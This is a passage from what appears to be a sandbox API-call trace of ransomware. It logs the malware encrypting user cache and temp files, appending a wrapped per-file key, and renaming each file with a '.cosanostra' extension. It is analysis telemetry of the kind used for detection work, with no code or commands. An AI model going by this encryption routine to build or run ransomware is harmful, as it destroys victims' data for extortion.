HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 151 [0103.413] StrStrW (lpFirst="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpSrch=".txt") returned 0x0 [0103.429] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff498, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.429] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xb68, lpNumberOfBytesWritten=0x251f004, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f004*=0xb68, lpOverlapped=0x0) returned 1 [0103.429] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.429] WriteFile (in: hFile=0x15c, lpBuffer=0x251f044*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f004, lpOverlapped=0x0 | out: lpBuffer=0x251f044*, lpNumberOfBytesWritten=0x251f004*=0x4, lpOverlapped=0x0) returned 1 [0103.429] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f004, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f004*=0x30, lpOverlapped=0x0) returned 1 [0103.430] CloseHandle (hObject=0x15c) returned 1 [0103.430] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1.cosanostra") returned 162 [0103.430] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1.cosanostra")) returned 1 [0103.459] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f048 | out: pbBuffer=0x251f048) returned 1 [0103.459] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f040*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f040*=0x30) returned 1 [0103.459] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.459] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 151 [0103.459] StrStrW (lpFirst="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpSrch=".txt") returned 0x0 [0103.460] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.460] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1d7, lpNumberOfBytesWritten=0x251f004, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f004*=0x1d7, lpOverlapped=0x0) returned 1 [0103.460] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.460] WriteFile (in: hFile=0x15c, lpBuffer=0x251f044*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f004, lpOverlapped=0x0 | out: lpBuffer=0x251f044*, lpNumberOfBytesWritten=0x251f004*=0x4, lpOverlapped=0x0) returned 1 [0103.460] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f004, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f004*=0x30, lpOverlapped=0x0) returned 1 [0103.461] CloseHandle (hObject=0x15c) returned 1 [0103.461] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B.cosanostra") returned 162 [0103.461] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b.cosanostra")) returned 1 [0103.462] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f040 | out: pbBuffer=0x251f040) returned 1 [0103.462] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f038*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f038*=0x30) returned 1 [0103.462] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.463] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f040 | out: pbBuffer=0x251f040) returned 1 [0103.463] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f038*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f038*=0x30) returned 1 [0103.463] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.463] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f038 | out: pbBuffer=0x251f038) returned 1 [0103.463] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f030*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f030*=0x30) returned 1 [0103.463] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.463] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f038 | out: pbBuffer=0x251f038) returned 1 [0103.463] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f030*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f030*=0x30) returned 1 [0103.463] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.463] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f030 | out: pbBuffer=0x251f030) returned 1 [0103.463] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f028*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f028*=0x30) returned 1 [0103.463] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.463] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f030 | out: pbBuffer=0x251f030) returned 1 [0103.463] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f028*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f028*=0x30) returned 1 [0103.463] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.598] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eff8 | out: pbBuffer=0x251eff8) returned 1 [0103.598] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251eff0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251eff0*=0x30) returned 1 [0103.598] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.599] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini") returned 84 [0103.599] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0103.600] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff6f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.600] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x251efb4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251efb4*=0x91, lpOverlapped=0x0) returned 1 [0103.600] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.600] WriteFile (in: hFile=0x160, lpBuffer=0x251eff4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251efb4, lpOverlapped=0x0 | out: lpBuffer=0x251eff4*, lpNumberOfBytesWritten=0x251efb4*=0x4, lpOverlapped=0x0) returned 1 [0103.600] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251efb4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x251efb4*=0x30, lpOverlapped=0x0) returned 1 [0103.600] CloseHandle (hObject=0x160) returned 1 [0103.600] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini.cosanostra") returned 95 [0103.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\desktop.ini.cosanostra")) returned 1 [0103.601] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eff8 | out: pbBuffer=0x251eff8) returned 1 [0103.602] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251eff0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251eff0*=0x30) returned 1 [0103.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.602] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eff0 | out: pbBuffer=0x251eff0) returned 1 [0103.602] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efe8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efe8*=0x30) returned 1 [0103.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.602] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eff0 | out: pbBuffer=0x251eff0) returned 1 [0103.602] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efe8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efe8*=0x30) returned 1 [0103.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.602] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efe8 | out: pbBuffer=0x251efe8) returned 1 [0103.602] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efe0*=0x30) returned 1 [0103.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.602] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efe8 | out: pbBuffer=0x251efe8) returned 1 [0103.602] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efe0*=0x30) returned 1 [0103.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\GUx-8.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gux-8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.603] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\GUx-8.gif") returned 62 [0103.603] StrStrW (lpFirst="GUx-8.gif", lpSrch=".txt") returned 0x0 [0103.603] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.603] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251efa4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251efa4*=0x2800, lpOverlapped=0x0) returned 1 [0103.603] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.603] WriteFile (in: hFile=0x160, lpBuffer=0x251efe4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251efa4, lpOverlapped=0x0 | out: lpBuffer=0x251efe4*, lpNumberOfBytesWritten=0x251efa4*=0x4, lpOverlapped=0x0) returned 1 [0103.604] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251efa4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x251efa4*=0x30, lpOverlapped=0x0) returned 1 [0103.604] CloseHandle (hObject=0x160) returned 1 [0103.604] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\GUx-8.gif.cosanostra") returned 73 [0103.604] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\GUx-8.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gux-8.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\GUx-8.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gux-8.gif.cosanostra")) returned 1 [0103.605] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efe0 | out: pbBuffer=0x251efe0) returned 1 [0103.605] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efd8*=0x30) returned 1 [0103.605] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\go2v.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\go2v.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.605] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\go2v.swf") returned 61 [0103.605] StrStrW (lpFirst="go2v.swf", lpSrch=".txt") returned 0x0 [0103.605] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.606] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef9c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef9c*=0x2800, lpOverlapped=0x0) returned 1 [0103.606] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.606] WriteFile (in: hFile=0x160, lpBuffer=0x251efdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef9c, lpOverlapped=0x0 | out: lpBuffer=0x251efdc*, lpNumberOfBytesWritten=0x251ef9c*=0x4, lpOverlapped=0x0) returned 1 [0103.606] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef9c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x251ef9c*=0x30, lpOverlapped=0x0) returned 1 [0103.606] CloseHandle (hObject=0x160) returned 1 [0103.606] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\go2v.swf.cosanostra") returned 72 [0103.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\go2v.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\go2v.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\go2v.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\go2v.swf.cosanostra")) returned 1 [0103.607] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efe0 | out: pbBuffer=0x251efe0) returned 1 [0103.607] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efd8*=0x30) returned 1 [0103.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.607] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efd8 | out: pbBuffer=0x251efd8) returned 1 [0103.607] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efd0*=0x30) returned 1 [0103.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwk-GQibdPrMdvML.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fwk-gqibdprmdvml.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.607] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwk-GQibdPrMdvML.mkv") returned 73 [0103.607] StrStrW (lpFirst="Fwk-GQibdPrMdvML.mkv", lpSrch=".txt") returned 0x0 [0103.608] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.608] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef94, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef94*=0x2800, lpOverlapped=0x0) returned 1 [0103.608] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.608] WriteFile (in: hFile=0x160, lpBuffer=0x251efd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef94, lpOverlapped=0x0 | out: lpBuffer=0x251efd4*, lpNumberOfBytesWritten=0x251ef94*=0x4, lpOverlapped=0x0) returned 1 [0103.608] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef94, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x251ef94*=0x30, lpOverlapped=0x0) returned 1 [0103.608] CloseHandle (hObject=0x160) returned 1 [0103.608] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwk-GQibdPrMdvML.mkv.cosanostra") returned 84 [0103.608] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwk-GQibdPrMdvML.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fwk-gqibdprmdvml.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwk-GQibdPrMdvML.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fwk-gqibdprmdvml.mkv.cosanostra")) returned 1 [0103.609] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efd8 | out: pbBuffer=0x251efd8) returned 1 [0103.609] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, 